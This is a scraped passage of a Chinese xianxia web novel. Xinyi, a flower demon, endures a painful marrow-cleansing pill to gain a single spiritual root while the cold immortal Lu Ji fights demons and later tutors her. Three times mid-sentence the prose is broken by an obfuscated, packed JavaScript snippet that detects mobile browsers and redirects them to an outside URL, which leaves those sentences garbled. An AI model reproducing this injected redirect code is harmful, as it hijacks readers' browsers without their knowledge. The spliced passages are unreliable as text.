辛夷迎上他的目光:“仙君放心,我虽然是个没什么见识的小妖,却也懂得不能拖累旁人。我必会好好提升资质,绝不辜负仙君的灵丹妙药,也好早日物归原主。” 陆寂不过随口提点这小妖一句,并不指望她靠一粒洗髓丹能提升多少资质。 “你既应允,日后最好记得今日之言。” 他语气平淡,辨不出情绪,说罢便拂袖而去。 等人走远,丁香悄悄冲着那道背影做了个鬼脸:“臭冰块,整日冷着一张脸,有什么了不起的!” 回过头,她又劝辛夷不要死要面子。 “即便没有这洗髓丹,也定还有其他办法的,这云山君不是很厉害么?无量宗不也是第一大宗么?咱们再耐心等等吧。” 辛夷却固执地摇头:“并不是要面子。论迹不论心,这位云山君性子虽冷了些,但无论是测灵根还是送丹药都是为我好。同样是受害之人,他已付出良多,我总不能一直躲在他身后,畏缩不前。” 丁香比谁都清楚,辛夷最是善良,也最不愿亏欠别人了。 当初为了不让陆寂难做,她便活生生剖了自己的妖丹,眼下,这洗髓丹之痛又哪里能劝退得了她呢? 她深深叹了一口气,这老天爷真是不开眼,怎么总是欺负心善的人呢! —— “洗筋伐髓乃是逆天而行,多少资质平庸的修士做梦都想得此秘宝,这丹药也是你费了不少力气才得来的,当世仅存一颗,当真……要用在这小妖身上?” 灵宝阁前,负责掌管此处的瑶光君听得此事后略有些迟疑。 陆寂倒并不吝惜:“你也说此物是逆天而行,本就不该存之于世。这些年来为争抢此物已经惹出了不少祸事,就此处理掉也算了却一桩因果。何况,此丹也只对多灵根的修士有用,算不上珍稀。” “呵,还真是站着说话不腰疼!”瑶光君阴阳怪气,“你根骨极佳,当然看不上,可对旁人来说,这东西何止珍稀,堪称无价之宝!不过,总不能真让这小花妖为了结丹修炼百年,就算她等得起,咱们也等不起。” 于是,瑶光君还是取了这洗髓丹,同陆寂一起前往度厄峰。 进门时,正撞见辛夷把一个匣子塞给丁香。 丁香则把脖子一扭:“给我做什么,你既然惦记着浮玉山,便好好爱惜自己,将来自己带回去。” 瑶光君听了一耳,发觉这小花妖竟是在给同伴交代后事。 有趣,着实有趣。 一不留意笑出了声,辛夷这才注意到来人,慌忙站起身:“两位仙君莫要误会。我给丁香的都是我自己带来的东西,并没有拿这仙山上一针一线!” 说罢,她把兜底都翻过来让他们查看。 瑶光君扫了一眼,只见里面都是些草编的蚂蚱、拣拾的松果或是彩色的石头,不由失笑。 这小花妖还真是恪守本分,本分地过头了。 换做他,受了这么多委屈定要光明正大将这度厄峰搬空! “无妨,不必拘谨,我这位师弟成日除了修炼,便是除妖,殿内空空荡荡,本来也没什么好东西!” 他摆了摆手,辛夷这才松了一口气。 一抬眼,却见他手中拿着一个青瓷药瓶,便问道:“这……便是仙君所言的洗髓丹么?” “不错。你刚刚是在怕服了此丹后会出意外?”瑶光君转了转手中光华流转的药瓶,语气带了几分戏谑,“放心,我除了是剑修,还是个医修,定能保你性命无虞,只要你按我说的做。” “那便谢过仙君了!”辛夷拱手道谢。 “先别急着谢——”瑶光君忽又正色道,“这洗髓丹药效霸道,如抽筋剥髓,痛楚非常,你可知道?” “云山君已告知了我,我不怕的!”辛夷语气坦然。 瑶光君略有些诧异,既已知晓,还如此决绝,倒是超乎他预料。 “你既知道,本君也无话可说。还有一事,我需提前告知你,这洗髓丹的药效与坚持的时辰相关,每多熬一个日夜,便可改善一重灵根。譬如今日服下,能熬到明日不喊停,便可从五灵根变为四灵根。所以,你尽量坚持,但若实在受不住了也不必勉强,随时唤我。” 辛夷没回答,看向一旁的人。 陆寂只说:“一切按瑶光君的说的做。” “好。”辛夷握紧手中的丹药,目光分外坚定,“两位仙君放心,我定会久久坚持下去的,争取脱胎换骨。” 瑶光君见多识广,曾有一个肌肉虬结的体修也在他面前这般保证过,最后却连一日也熬不住。 所以,听到小花妖这豪言壮语他只是不置可否地笑了笑。 陆寂更是完全没放在心上。 这丹药果真如瑶光君所言,服下之后,便浑身剧痛。 丁香急忙扶辛夷躺下。 不过片刻,她浑身已被冷汗浸透,唇瓣咬得鲜血淋漓。 丁香实在不忍,一把掀开了帘子:“她疼得受不住了,你们无量宗既是天下第一宗,难道没有止痛的丹药?给她服一颗也好!” 二人正在外间对弈,陆寂执棋的手稳稳当当:“既想逆天改命,如何能不付出代价?洗髓丹之痛无药可止,她若是坚持不住,可告知于我,就此停下。” “你!” “不必停。我、我能忍。” 帘后,辛夷出声打断。 丁香无可奈何,跺了跺脚,还是跑回去握紧她的手。 瑶光君连连叹气:“这才刚开始便如此艰难,看来,这小花妖比我想象得还要脆弱,恐怕四灵根也难以达成。” 陆寂瞧了瞧屏风后蜷缩的身影,越发不抱希望。 —— 瑶光君乃是诸位仙君之中最为八卦之人,又是这八卦之人中修为最高的,所以,次日一早,天刚蒙蒙亮,他便来了寒山居。 见陆寂正在拭剑,他凑近问到:“如何了?那小花妖可有派人来寻你?” “并未。”陆寂神色淡淡。 “竟熬了一日夜?倒是我看走眼了。唔,四灵根也不错,潜心修炼,五十年或可结丹。” 陆寂微微一顿:“四灵根也需这么久么?” “你以为人人都像你,十日结丹,百日元婴?这已经是快的了!”瑶光君没好气,“不过,这小花妖既然到此时都没来叫你,恐怕还能再忍一忍,若能炼成三灵根,十年内结丹便有希望了。” 陆寂眉宇间微微凝着,似乎还是觉得慢。 恰在此时,翠微峰的仙使忽然急匆匆来报:“不好了,禀二位君上,天音宗出事了!” 瑶光君颇不在意:“能出何事?难道又是为了掌门之位相争?” “不是!”仙使神色凝重,“婚宴结束后,天音宗众人便告辞,谁知在归途中竟遭遇妖族围攻,掌门云芨散人被重伤,天音宗的镇派之宝忘忧琴也被妖族夺走。此刻,天音宗诸人还被围困于登葆山,掌门收到了云芨散人的传信,特命我火速前来告知云山君,让您前去解救。” 说着,这仙使双手奉上一枚灵光流转的羽信。 陆寂阅罢,提剑便走,只对瑶光君留下一句:“若这花妖撑不住,你可酌情中止。” 事出紧急,瑶光君也没了平日的嬉皮笑脸,正色道:“此处有我,你尽管放心。” 天音宗乃当世五大宗之一,以音律入道。忘忧琴乃上古传承的法器,更是当年封印妖皇的五大圣器之一。 此事非同小可。 妖族从前虽然也滋扰人世,却许久没有过这般大的阵仗,只怕……这三界要大乱了。 瑶光君摇扇的手,不自觉地顿了顿。 —— 陆寂这一去,两日方归。 纵然只剩一半的修为,围攻的妖族也完全不是他对手。 归藏剑一出,天地变色,日月失辉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955392|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 被困了许久的天音宗弟子仿佛看到了救星。 而那些肆虐屠戮的妖族则仿佛看到了克星。 并没费太多力气,天音宗的掌门云笈散人一干弟子便尽数被他救下。 不少弟子中了妖毒,而无量宗的无垢泉是治疗此毒的圣地,因此众人便随他暂回无量宗救治。 云芨散人伤重,昏迷不醒,其座下有一得意弟子法号妙音仙子伤势较轻,便由她暂时主持天音宗。 到了翠微峰后,妙音仙子越清音白衣染血,带领诸位弟子朝清虚掌门和陆寂重重一拜。 “此次天音宗蒙此大难全仰仗无量宗伸出援手,这等大恩天音宗铭记在心,来日必当结草衔环以报!” “师侄不必多礼,快快请起。”清虚子将人扶起,“五大宗门本就同气连枝,何况诸位是赴宴归途遭袭,我无量宗也难辞其咎,你放心,天音宗之仇本君绝不会坐视不理!” 越清音躬身又是一拜:“掌门大义,清音代师父与同门谢过!至于这忘忧琴,乃是我宗至宝,天音宗即便只剩最后一人,也誓要夺回!幸而……” 她因伤咳嗽一声,雾气濛濛地望向陆寂:“幸而云山君来得及时,将我们从妖族手中救出。忘忧琴虽被妖族抢走,但琴谱却在我手中,没有琴谱,这忘忧琴无法发挥全部功力,所以,清音还要再拜谢云山君。” 陆寂受了她的礼,语气却并不亲近:“分内之事,不必挂怀。” “于云山君而言或许只是举手之劳,于清音却是救命之恩。救命之恩清音刻骨铭心,来日必当重谢……” 话音未落,她忽然剧烈咳嗽起来,单薄的身形微微晃了晃。 陆寂没伸手,远处的青阳君急忙上相扶,越清音这才勉强站稳。 经此一番,众人这才发觉她肩头的爪痕深可见骨,分明已是强弩之末。 清虚子当即命药王为越清音及众弟子诊治,青阳君则主动请缨前去照看。 待众人退下,陆寂沉声道:“禀师尊,弟子今日还发现一桩异样。此次登葆山上妖魔遍地,有数千之众,阵势远非往日可比。更为蹊跷的是,统领群妖者是久未现世的妖皇座下护法,英招与朱厌。” “这二人一起出山了?”瑶光君讶异,“自三千年前妖皇被封印,其座下四大护法便内斗不休,这英招和朱厌更是出了名的不对付,如今竟联起手来,莫非……妖族内讧要结束了?” “不止如此。”陆寂又道,“这群人目标明确,直指忘忧琴。而这忘忧琴乃当初封印妖皇的五大法器之一。弟子以为此二妖联手,恐怕和封印有关。” 清虚子凝眉:“你是说,这妖族是想抢夺五大法器,解开封印,放妖皇出世?” “正是。”陆寂回道。 “若是如此便麻烦了。”瑶光君愈发担忧,“自妖皇被封印后,妖族便四分五裂,四大护法各自为政。而修真界这三千年来却人才辈出,尤其是出了师弟这般的奇才。” “若师弟飞升,得道成神,便可将天下妖族全部封印回妖域,届时妖族必然死路一条!他们或许是察觉到了危机,这才不得不联手。不是说这妖皇也是妖界万年难得一遇奇才么?他们恐怕正是想借妖皇之力和师弟抗衡!” 清虚子沉吟许久:“若真如此,恐怕不止天音宗遭伏,其他几大宗门也恐有难。这次君泽大婚,四大宗门的掌门全部到齐,他们归途之时或许也会遭遇围攻。” 君泽是陆寂的字。 他道:“师尊放心,弟子这两日已探查过,其余三大宗门暂时无碍,许是未将镇派法器随身携带之故。” 清虚子颇为欣慰:“你既已探查过,为师便放心了。今日为师会再传信于诸位掌门,请他们守好法器,当心妖族进犯。如此,或可保天下太平。” —— 议罢正事,陆寂与瑶光君并肩走出玉衡殿。 想起度厄峰那小花妖,他随口问了一句:“我不在的这两日,小花妖的洗筋伐髓何时结束的?是炼成了三灵根,还是停留在四灵根?” 瑶光君一时忘了这茬:“我还想问你呢,你是不是同她许下了什么约定?我去看过三回,她嘴唇都咬烂了,血淋淋的,却还一直念叨着答应你会尽全力的,我便也不好强行叫停。” “每多熬一天便能提升一个灵根,仔细算来,唔,今日她已经熬过三天,成了双灵根了,甚至……至今也没喊停!” 陆寂脚步忽然顿住,一向平静的眼底掠过一丝细微的波澜。 “至今……未停?” 5. 缘起性空(五) 听到那小花妖还在坚持后,陆寂和瑶光君便一起回去。 丁香正急得团团转,见他们一起来了,快步迎上去。 “你们总算回来了!快设法叫这洗髓丹停下,辛夷已疼得人都脱了形,再这般下去怕是命都没了。她如今已是双灵根,你们还不满意吗?” “竟这般严重了?”瑶光君急忙朝里间去。 陆寂语气却很是平静:“我说过,她随时可以叫停。” “她不叫停,还不是为了尽早把你的内丹还你?” “我并未要求她一定成为双灵根。” “你!” “不、不怪他,是我自愿的……” 内间,隔着一道屏风,痛到几乎快麻木的辛夷模模糊糊道。 那声音极其微弱,同前几日判若两人。 瑶光君动了恻隐之心,好言相劝:“小花妖,你若是坚持不下去了直说便好,本君从前也不是没见过用这洗髓丹的,但从未有坚持过三天三夜的,你已做得极好,便是此时叫停也没人会笑话你的。” 辛夷轻轻笑了:“是么?我竟、竟这么厉害了……” 这些仙门的人平日里总是瞧不起她,她还以为自己真的很差呢。 “当然,一等一的厉害!别再强撑了,我这就为你停下,可好?” 透过屏风缝隙,辛夷目光越过瑶光君,望向那道挺拔却疏离的背影。 每看一眼,便想起从前的陆寂,心口便涩痛一分。 她不想再待在这寒冷的无量宗了。 也不想欠他一丝一毫。 早日解开羁绊对他们都好。 辛夷抿紧疤痕交错的唇:“不,我还能坚持。再过一夜,等到日出,我是不是就能变成单灵根,资质像云山君一样好了?到那时……我也能很快结丹了吧。” “是归是,但你已经如此虚弱……” “没关系,我想再试试。” 瑶光君只好叹一口气,转头又去寻陆寂:“你也劝劝,再怎么说,她也是被你这身皮囊拐带来的,受了这么多苦你当真能视若无睹?” 陆寂望向屏风后那蜷缩成一团的模糊身影,忽然想起许多年前那只灭他全族的红狐。 那是只非常漂亮的红狐,初见时,它被火烧得尾巴焦黑,惨叫连连。 当时年仅五岁的他于心不忍,所以在母亲转身离开的时候拽住她的衣袖,询问她能不能将这红狐带回去。 母亲温柔地答应了。 于是才有了后来的灭门之祸。 外人都说是母亲一时心软引狼入室,可陆寂知道,不是母亲,而是他。 导致这一切的,是他的心软和轻信。 他才是罪魁祸首。 目睹全族三百口一个一个惨死在他面前之后,他便跪在至亲的尸山血海前向苍天起誓,此生必会竭尽全力把妖族封印回妖域。 无论付出何种代价,哪怕是他的命。 他更不允许自己再心软。 或者说那夜之后活着的只是一具为了复仇的行尸,无心也无情。 思绪回转,陆寂目光从那模糊的人影身上移开。 “她既要坚持,便由她去,人皆需为自己的选择负责。” “你简直冷血至极!” 丁香气得扭头跑回去。 —— 这一夜不止度厄峰无眠,翠微峰也有人难以入睡。 妙音仙子越清音是公认的九州第一美人。 她出身名门,天赋卓绝,曾与陆寂并称“仙门双璧”。 只可惜,陆寂竟莫名其妙爱上了一个妖女,二人就此分道扬镳,令不少修士为之扼腕。 无量宗掌门清虚子的独女楼心月素来与越清音交好,听闻天音宗众人留下养伤,特来探望。 一进门便瞧见越清音身形消瘦,站在窗前遥遥望着度厄峰的方向。 楼心月于心不忍,上前劝道:“越姐姐,莫要为陆师兄伤心了,免得伤了身体。” 越清音敛了神色:“小师妹误会了。云山君已有道侣,我与他……仅是道友之谊,并无任何其他心思。” “姐姐的心思骗得了旁人可骗不了我!其实,我知道一桩秘密,保管师姐听到之后再无烦恼。”楼心月神秘兮兮。 “我的烦恼无人可解。” “是吗?那倘若……陆师兄前些日子是被异魂夺舍了呢?” 越清音罕见地失态:“夺舍?此话当真?” “嘘!”楼心月比了个手势,压低声音,“千真万确!姐姐有所不知,娶那个妖女,闹出这么大阵仗都是那个夺舍之人做的。直到大婚当日,陆师兄的神魂方归位。之后,他便与那妖女断绝了干系。但他的半枚内丹被那夺舍之人赠予了那妖女,所以才没立刻把这妖女赶出去。” 越清音听得这番话,本已死寂的心潮又澎湃起来。 “原来如此,难怪陆寂突然像变了个人…… ” “不过,夺舍乃禁术,爹爹严禁将此事外传,我是见姐姐太过神伤才告知于你,姐姐万不可泄露!” “小师妹放心,云山君于我师门有再造之恩,关乎他的要事,我必守口如瓶。” “我当然信得过你了。”楼心月挽住她的手臂,又将这些日子发生的事娓娓道来,“越姐姐与陆师兄是公认的金童玉女,若是陆师兄没被夺舍,现在度厄峰的君后应当是你才对。” “幸好,眼下误会已经解开,等陆师兄拿回内丹,赶走那个妖女后,一切便可回归正轨了。” 越清音微微垂眼:“小师妹说笑了,云山君天人之姿,我怎敢肖想?我只是有些担心,他一向厌憎妖族,却偏被那夺舍之人强娶了个妖女,还暂时不能赶走,此刻心中定然不悦吧……” “何止不悦!”楼心月夸张地拿剑比划,“听闻大婚当夜陆师兄险些一剑杀了她,是爹爹顾及宗门声誉方才劝下。” “竟有此事?如此说来,那女子也颇为无辜……” “一个蛮荒之地的小妖却敢觊觎仙门之首,本就是她咎由自取!” “无论如何,也不该要了她的命。你刚才说,这女子服用了洗髓丹?这丹药霸道,她怕是熬不过去,我们天音宗有一种可以调养灵脉的养心丹,明日一早我便送到度厄峰去,或许对她有所裨益。” “姐姐心肠未免太好了,那妖女抢了陆师兄,你竟然还把这么好的东西给她,她怎么配!” 楼心月忿忿不平:“何况,陆师兄现在定然守着她呢,她死不了的。” “一个小花妖而已,恐怕连灵根是何物都不懂,何必苛责。” 越清音温柔浅笑。 —— 持续了四天,辛夷的洗髓还没结束。 明明只剩最后一夜,却好似无论如何都看不到头。 瑶光君频频望向东方天际,手中羽扇扇得飞快,几乎扇出虚影来:“这太阳不是传说是金乌所化,一瞬千里么,怎的今日爬得比乌龟还慢……” 丁香也心疼地频频跑去窗边察看。 焦急的情绪蔓延开,到黎明,甚至连仙使们也都停下了手头差事,偷偷瞄仙居殿的动静。 只有陆寂一派淡定,望着翻涌的云海隐约想起了当初飞升上仙时的自己。 并不像传闻中的轻易。 他其实在扶桑神木下受了整整七七四十九道天雷之刑,全身的骨和肉都被劈得碎尽,又重新凝聚,才终于叩响金钟,原地飞升。 想要脱胎换骨,必须要承受同等的代价。 没人能避免,也没人能代替。 不知过了多久,一缕金光突然破出青灰的云层,只瞬间,万丈光华倾泻而下,天地生辉,山河尽染。 几乎同时,仙居殿内,一股强劲的金灵之气从床榻上冲天而起,直冲云霄—— 成了! 单灵根。 还是罕见的金系灵根! 璀璨的金光持续了足足一刻钟。 所有人的目光都被吸引过去。 包括陆寂。 他随众人一起走近,在嘈杂的人声中,只见那小花妖越过众人,用尽全力牵动血痂累累的唇角朝他缓缓挤出一个笑。 “云山君……你看,我做到了,单灵根,很快就能把内丹还给你了。” “你、你可觉得欢喜?” 大乘期的修士双目清明,除了业火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955393|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外无所畏惧。 但这一刻,陆寂却仿佛被萦绕在小花妖身边的金光灼伤了眼。 注视良久,他正欲启唇,身后却忽然传来一声瓷瓶摔碎的声音。 回头一看,原来是越清音来了。 “抱歉,我听闻君后服用了洗髓丹,日夜煎熬,我特来给她送止痛药。” 越清音捡起摔裂的瓷瓶。 陆寂眉宇冷沉:“此事秘不外传,你为何会知晓?” “我……” 越清音一时语塞。 她身后的楼心月缓缓挪了出来:“是、是我说的。师兄莫怪,我也是看着越姐姐太过伤神,这才将一切告诉了她。越姐姐又不是外人,你们同为万里挑一的单灵根,从前可是仙门声名远扬的双璧呢,若不是你突然被夺舍,今日入主度厄峰的应当是越……” “去戒律堂领罚。”陆寂打断。 “师兄!”楼心月委屈不已,“我可是和你一起长大的师妹,今日你竟为了这个花妖罚我?” “和旁人无关,你做错了事,理当受罚。” “此事不怪小师妹。”越清音温柔地替楼心月辩解,“小师妹也是一片好心,她……” “无量宗的事自有无量宗的规矩,外人不得插手。”陆寂不为所动。 越清音微微一笑,语气轻柔:“也对,你素来重规矩,有些日子没见,倒是我忘了。” 楼心月还想争辩,但比起她,她爹分明更看重陆寂,于是忍住眼泪,扭头离开。 转身时,她含泪瞪了辛夷一眼:“都怪你,要是没有你,根本不会出这么多事!” “心月!”越清音抬步便追,又忍不住回看向陆寂。 “那日你前来救我,替我挡了一记妖刀,伤势可好些了?我这里还有一种药,对治外伤最是有效。” 她从袖中又摸出一瓶药,递给陆寂。 辛夷在一旁听着,直到此时才恍然大悟。 原来,她受洗髓丹之痛的这几日,陆寂突然消失是去救越清音了,还替她挡了一刀。 今日这位妙音仙子也不单单是给她送药,更是为了以此为借口,给陆寂送药。 他们一个郎有情,一个妾有意,却因为她的存在而不能在一起。 看来楼心月说的对,她是搅乱这一切的意外,就不该存在。 辛夷突然觉得自己刚刚问陆寂那句是否欢喜是在太过多余。 有什么可欢喜的呢? 她煎熬了整整四个日夜、受尽千辛万苦才蜕变成的单灵根,他们一出生便有。 陆寂大约只会觉得她愚蠢吧。 果然,陆寂只回了她一句客套的“多加静养”,便和越清音一同出去。 辛夷默默点了头。 望着那双双远去的背影,她眼前忽然浮现出一个话本。 从前那个穿越而来的“陆寂”奇思妙想极多,闲来无事时常常跟她讲一些曲折离奇的话本。 仿佛有个叫仙剑什么传的话本子,说是从前有个英俊少年为了求药乘风破浪找到了一个远离世俗的仙岛,在那里,他和岛上的仙女相识相爱还成婚了。 但成婚后,少年被坏人下了蛊,忘了自己的爱人,反而和其他女子纠缠不清。 经历种种波折后,少年终于想起一切,劈开锁妖塔,救出了自己的爱人。 而那个他失忆时碰上的女子,则为了成全他们最后死在了锁妖塔下。 她第一次听到这个故事时,只顾着为这对好不容易在一起的神仙眷侣喜极而泣。 现在仔细回想,却觉得中途那个被招惹的女子似乎也很悲惨。 倘若没遇到少年,那女子或许便不必经历这么多磨难,也不必牺牲,能够自由平凡地过完一生。 可是哪有那么多如果。 辛夷默默叹一口气。 难怪凡人喜欢求神拜佛。 他们过得太苦,有太多无能为力的事,只能祈求神佛改变。 就像现在的她一样,无比希望漫天神佛能够帮她尽快了结这一切,让她回到浮玉山去。 如此,她也不必做了神仙眷侣故事中,那个莫名其妙被卷进来的女配角。 6. 缘起性空(六) 九州四域,单灵根者万中无一。 若是哪个修仙世家出了一个,可保此此门千年兴盛。 便是在五大宗门,单灵根者也颇为少见,不是入室弟子,就是一方峰主。 而靠洗髓丹洗筋伐髓,逆天改命,从五灵根变成单灵根的,更是从未有之。 此事太过罕见,经由瑶光君之口很快便传遍。 整个度厄峰无人不对这小花妖刮目相看,甚至连掌门清虚子也被惊动了,特意叫了陆寂一问。 确认属实后,他便让陆寂着实教导这小花妖修炼。 陆寂沉默片刻,终究还是应了。 天音宗人被安置在翠微峰的宝相楼,自然也听闻了此事。 听着诸位师妹议论纷纷,越清音忽然想起陆寂那日警告她不许将夺舍之事外传时的冷漠神情,心中微微涩痛。 这小花妖还真是命好。 虽只是名义上的道侣,却得了实打实的好处,脱胎换骨,逆天改命。 不像她,不仅没收到任何礼,甚至连送给陆寂的丹药都被回绝…… 与外人的艳羡相反,辛夷虽然蜕变成了单灵根,却并没有想象中的开心。 毕竟谁都不想莫名其妙做了旁人感情中的绊脚石。 丁香和她是多年的好友,也为此事感到不快。 “我说这云山君怎么对你如此凉薄,甚至连陌生人都不如,原来是怪你拆散了他的姻缘!这仙门的人心眼真小,又不是你的错!再说了,他们要秀恩爱尽管去外面秀,何必偏要到你面前来!” 辛夷习惯把人往好处想:“云山君被夺舍的事情并没外传,我和他在明面上还是夫妻,若他们在外头叫人撞见了,恐叫人说闲话。他和妙音仙子既是正经的一对儿,度厄峰又是他的居所,在这里见一见也没什么。” “你啊!”丁香点了点她额头,“他们名声是好听了,但你呢,至今还顶着个云山君道侣的名头呢。若是叫外人瞧见旁的女子和你的夫君在你这个正室内面前光明正大的私会,你还不得被人笑话死!他们可曾为你考虑过?” “好了好了,总归是要离开的,旁人即便议论我以后也听不到了。”辛夷很快便不在意了,“不管怎么说,能成为单灵根都是一件值得高兴的事。夫君或者身份旁人可以拿走,但资质是属于自己的,只要我好好修炼,练得一身本事,那么便不虚此行了!” “你真是想得开。” 丁香虽然还是生气,但看着她亮晶晶的眼睛,心情也略微好转。 —— 跃升为单灵根还是有好处的,不出三日,辛夷的伤便好了。 而且整个人容光焕发,精神十足,比做凡人时看上去不知道强上多少。 丁香心里稍稍宽慰:“这也算你下山以来遇到的唯一一件好事了。” “不止呢,云山君为人还是不错的,命人给我送来了许多修炼的心法。” 辛夷眉眼弯弯,拉着她走进书房,只见桌上整整齐齐垒着数十卷帛书,几乎要堆成山。 “都匀小仙说,这些典籍皆是孤本,寻常修士穷尽一生也难得一见呢。” “哼,他不过想让你早点结丹,早日物归原主而已!” “论迹不论心嘛。我早些学会,我们便能早些回浮玉山去了呀。” 辛夷拉着丁香并肩坐下。 两个小妖便凑在一处,对着那些玄而又玄的字句一点点琢磨起来。 傍晚,陆寂来仙居殿时,尚未进门,远远便听见了争论声。 “……这书上写的什么‘天关’是什么意思,难道是指头顶?” “看着不像呀,总不能从头顶进气吧?我猜,这‘天关’指的是嘴巴,从口中进气,倒还说得通。” “倒是有些道理。那后半句的‘神庐’又是什么意思呢,既然天关是口,这神庐该不会是屁股吧?用屁股放气,不就是放屁吗?难道这些仙人所谓的修炼是一边吸气,一边放屁?哈哈哈!” “啊?竟然是这样么,可我怎么……唔,做不到呢?” “一定是你的姿势不对,要像我这样,把屁股撅起来!” 两人你一言,我一语,当听到她们把“神庐”说成是屁股,把修炼说成是放屁后,跟随在陆寂身旁的仙使都匀没忍住噗嗤笑出了声。 听到声音,辛夷猛然回头,这才发现有人来了。 都匀小仙捂着嘴憋笑,至于陆寂,则微微皱着眉。 辛夷顿时面颊发热,丁香也觉得丢人,当即开口:“你们走路怎么没声音?擅闯女子寝殿可是很没规矩的!” 都匀小仙听到这话有些不乐意了。 “此处本就是我家君上的寝殿,见你们可怜,这才让给你们罢了,再说了,刚进门我便通禀过,是你们太过吵闹,没听见通禀而已。” 辛夷连忙道歉:“你说得对,这度厄峰上下都是云山君的居所,他当然可以进。不过,刚刚仙使缘何发笑,难道是我又猜错了?不瞒你说,我从未修过仙,只略微识得一些字,还是在月夜下听老槐树精讲故事学来的,对这经书着实看不太懂。倘若有误,还请您指教。” 当着陆寂的面,都匀怎敢去指教他的君后? 他往后退了一步:“君后折煞小仙了!掌门有令,日后由仙君亲自教导您修行,每三日一回,直至结丹。” 辛夷睁圆了眼:“云山君?可我只是一个小妖而已。按你们说的,杀鸡焉用宰牛刀,随便指派一个小仙来便足够了,我瞧着仙使你便十分渊博,不如……” “小仙怎敢!”都匀慌忙推辞,“您毕竟是君上的道侣,怎好叫外人教导,若是传出去,岂不是影响君上声名?” 丁香琢磨了一会儿,悄悄拉着辛夷到一旁:“这云山君虽然脾气坏了点,但修为确实是当世第一,有他教你,你这一趟也不算太吃亏,不如便答应吧。” 辛夷一想也是,回去才是要紧事,她于是恭敬地朝陆寂行了一礼:“那这些日子便有劳仙君了。” 陆寂淡淡嗯了一声,起身往便殿的书房去。 丁香把刚刚看不懂的经书往辛夷怀里一塞,将人也推了过去。 门一关,书房顿时安静下来。 实话实说,辛夷有些怕陆寂那张没什么表情的脸。 但修炼要紧,她抱着经书鼓足勇气上前。 “仙君,刚刚我同丁香在看心法,有些地方看不明白,譬如这‘天关’与‘神庐’,究竟是何意?” 陆寂扫过一眼,淡淡解释道:“天关指口,神庐是鼻。” “我猜对了一半!” 辛夷颇为高兴,但是,这神庐却猜得不对。 也就是说,修炼指的是用口吸气,用鼻呼气了? 她和丁香还以为是一边吸气,一边放屁…… 这下可丢人丢大了! 辛夷耳根通红,难怪陆寂刚刚望着她的眼神有一丝古怪。 而且,她还听说凡人拜师得送束脩,包括六种呢。 她身上并没什么好东西,那日给丁香的匣子还被瑶光君嘲笑了,想来云山君更看不上。 思来想去,只有她自己比较珍贵了。 她的原身是一株琼琚色的辛夷花。 所谓琼琚,是一种温润清透的玉色。 这颜色虽不少见,但这般颜色的花,世间只有她一株。 “清冷而不孤冷,柔润而有风骨。” 她尚未化形时,曾有一位人间书生如此形容,还流传甚广。 她的花也分外珍贵,引得不少人争抢,差点被这些疯狂的百姓薅秃。 等到后来长出腿能跑的时候,她便连夜扛着自己的花枝逃到了荒僻的浮玉山,才得以静养化形。 于是辛夷便化出原身,摘了一朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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良久的沉默之后,她委婉地开口:“您是仙君,一峰之主,日理万机,让您教我实在是大材小用了,要不,还是指派一个您的徒弟来吧,随便一个都行。” “我不收徒。” “为什么?” “过于愚钝。” “……哦。” 辛夷默默闭上了嘴,总算明白这度厄峰明明才是十二峰之首,但山上人烟却如此稀少了—— 因为前来拜师的弟子大概没一个能入陆寂的法眼。 算了,一遍听不懂,那就两遍,三遍好了。 于是辛夷老实坐好。 陆寂思绪跳跃,虽答应从头教起,却仍不时略过许多字句。 辛夷跟得吃力,加之困顿,只得一次次叫停。 陆寂虽神色微沉,但为了取内丹,终究放慢了速度。 整整一晚,直到天明,辛夷刚明白什么叫引气入体。 饶是如此,她还是累得神思恍惚。 而陆寂的神色则前所未有的阴沉。 临走时,他忽然回头:“……昨晚的花呢?” 辛夷在困倦中迷糊地抬起头:“仙君又想要了?我的花可以存放许久呢,只要每日给它一点点水便好。” “不是给我。”陆寂打断,“不是说辛夷花能清心明目,令人保持清醒?你不如自己留着多用。” 辛夷眨了眨眼才明白过来,原来陆寂是在讽刺她偷懒,要她拿自己的花提神…… 她悻悻地把昨晚的花从头上摘下来。 想了想,又变回原身,额外多薅了一朵,郑重地保证。 “仙君放心,这两日我定会保持清醒,加倍用功,争取有所长进。” 陆寂目光落在那两朵琼琚色的花上,回以一声极淡的冷笑。 “修炼一窍不通,此事上倒是会耍小聪明。” 7. 缘起性空(七) 天色刚亮,丁香神清气爽地推开房门,正巧撞见陆寂从仙居殿离开。 她脑海中顿时浮想联翩,连忙小跑着冲进殿内找辛夷。 “你和云山君……一整晚都在一起?” “是啊。”辛夷困得眼皮直打架,双手勉强托着腮才没趴下去,“整整一夜,一刻都没停过。云山君的精神也太惊人了……” “一整夜!还一刻不停?你们、你们该不会是……”丁香嘴巴张得能塞进一个果子。 “你想哪儿去了!”辛夷瞬间清醒,双颊的红晕肉眼可见地迅速蔓延,“我、我说的是修炼!云山君教了我整整一夜引气入体!” 